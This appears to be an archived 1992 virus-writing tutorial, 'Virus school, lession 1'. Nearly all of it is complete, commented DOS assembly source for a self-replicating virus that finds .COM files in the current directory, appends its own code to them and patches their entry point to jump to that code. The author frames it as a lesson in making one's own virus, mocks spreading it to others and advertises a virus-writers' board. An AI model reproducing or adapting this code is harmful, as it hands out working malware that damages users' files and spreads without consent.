home *** CD-ROM | disk | FTP | other *** search
- ;
- ; Virus school, lession 1 (c) 1992 Tormentor [Demoralized Youth]
- ;
- ; This is the first lession on how to make an own virus.
- ; Hope you'll learn something of it...
- ; To be compiled with TASM 3.0 or higher.
- ;
- ; This virus is quite dumb and 'noisy'
- ; It updates the filedate and time, changes DTA before execution causing
- ; some progs to belive they are executed with parameters...
- ; But this should only be a 'raw' virus that you can develop.
- ; Certain program may hang, so i recommend you not to spread to geeks
- ; since there is MANY better viruses to use for such nice purpose.
- ;
- ; If you want to conntact me or other virus-writers call me on my board:
- ; Swedish Virus Laboratory +46-3191-9393
- ;
- ; Greetings to All virus-writers!
- ;
-
-
- .model tiny
- .radix 16
- .code
-
- Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
-
- org 100
-
- dummy_code: db 'M' ; Mark file as infected.
- db 3 DUP(90) ; This is to simulate a infected prog.
- ; Not included in virus-code.
-
- Virus_Start: call where_we_are ; Now we call the next bytes, just to
- ; know what address virus lies on.
- where_we_are: pop si ; Since the virus-code's address will
- ; differ from victim to victim.
- ; a POP SI after a call will give us the
- ; address which equals to 'where_we_are'
- ; Very important.
-
- ;-----------------------------------------------------------------------
- ; Now we have to put back the original 4 bytes in the host program, so
- ; we can return control to it later:
-
- add si,_4first_bytes-where_we_are
- mov di,100
- cld
- movsw
- movsw
-
- ;------------------------------------------------------------------------
-
- ; We have to use SI as a reference since files differ in size thus making
- ; virus to be located at different addresses.
-
- sub si,_4first_bytes-Virus_Start+4
-
- ;------------------------------------------------------------------------
- ; Now we just have to find victims, we will look for ALL .COM files in
- ; the current directory.
-
- mov ah,4e ; We start to look for a *.COM file
- look4victim: mov dx,offset file_match-Virus_Start
- add dx,si
- int 21
-
- jc no_victim_found ; If no *.COM files was found.
-
- mov ax,3d02 ; Now we open the file.
- mov dx,9e ; The found victims name is at ds:009e
- int 21 ; in DTA.
-
- jc cant_open_file ; If file couldn't be open.
-
- xchg ax,bx ; Save filehandle in bx
- ; (we could use MOV BX,AX but we saves one byte by using xchg )
-
- mov ah,3f ; Now we read the first 4 bytes
- mov cx,4 ; from the victim -> buffer
-
- mov dx,offset _4first_bytes-Virus_Start
- add dx,si
- ; We will then overwrite them with
- int 21 ; a JMP XXXX to virus-code at end.
-
- jc read_error
-
- cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
- jz sick_or_EXE ; Check if infected OR *.EXE
- ; Almost all EXE files starts with 'M' and we mark the infected files by
- ; starting with 'M' which equals to DEC BP
- ; Now we just have to have one check instead of 2 (infected and *.EXE)
-
- mov ax,4202 ; Position file-pointer to point at
- xor cx,cx ; End-of-File.
- xor dx,dx ; Any writing to file will now APPEND it
- int 21 ; Returns AX -> at end.
-
- sub ax,4 ; Just for the JMP structure.
-
- mov word ptr ds:[_4new_bytes+2],ax
- ; Build new JMP XXXX to virus.
- ; ( logic: JMP AX )
-
- mov ah,40 ; Append file with virus code.
- mov cx,offset Virus_Lenght
- ; File-size will increase with
- mov dx,si ; Virus_Lenght.
- int 21
-
- jc write_error
-
- mov ax,4200 ; Position file-pointer to begin of file
- xor cx,cx ; So we can change the first 3 bytes
- xor dx,dx ; to JMP to virus.
- int 21
-
- mov ah,40 ; Write new 3 bytes.
- mov cx,4 ; After this, executing the file will
- mov dx,offset _4new_bytes-Virus_Start
- add dx,si
- ; result in virus-code executing before
- int 21 ; original code.
- ; (And more files will be infected)
-
- jc write_error
-
- mov ah,3e ; Close file, now file is infected.
- int 21 ; Dos function 3E (close handle)
-
- Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's
- jmp look4victim ; find another victim...
-
- write_error: ; Here you can test whats went wrong.
- read_error: ; This is just for debugging purpose.
- cant_open_file: ; These entries are equal to eachother
- no_victim_found: ; but could be changed if you need to test something.
-
- mov ax,100 ; Every thing is put back in memory,
- push ax ; lets us RET back to start of program
- ret ; and execute the original program.
-
- notes db ' (c) 1992 Tormentor ,Swedish Virus Laboratory'
- db ' / Demoralized Youth / '
-
- file_match db '*.COM',0 ; Pattern to search for.
- ; Don't forget to end with 0 !
-
- _4first_bytes: ret ; Here we save the 4 first org. bytes
- db 3 DUP(0)
- ; We have a ret here since this file isn't a REAL infection.
-
- _4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes
- ; so our virus-code will be run first.
- Virus_End EQU $
-
- end dummy_code
-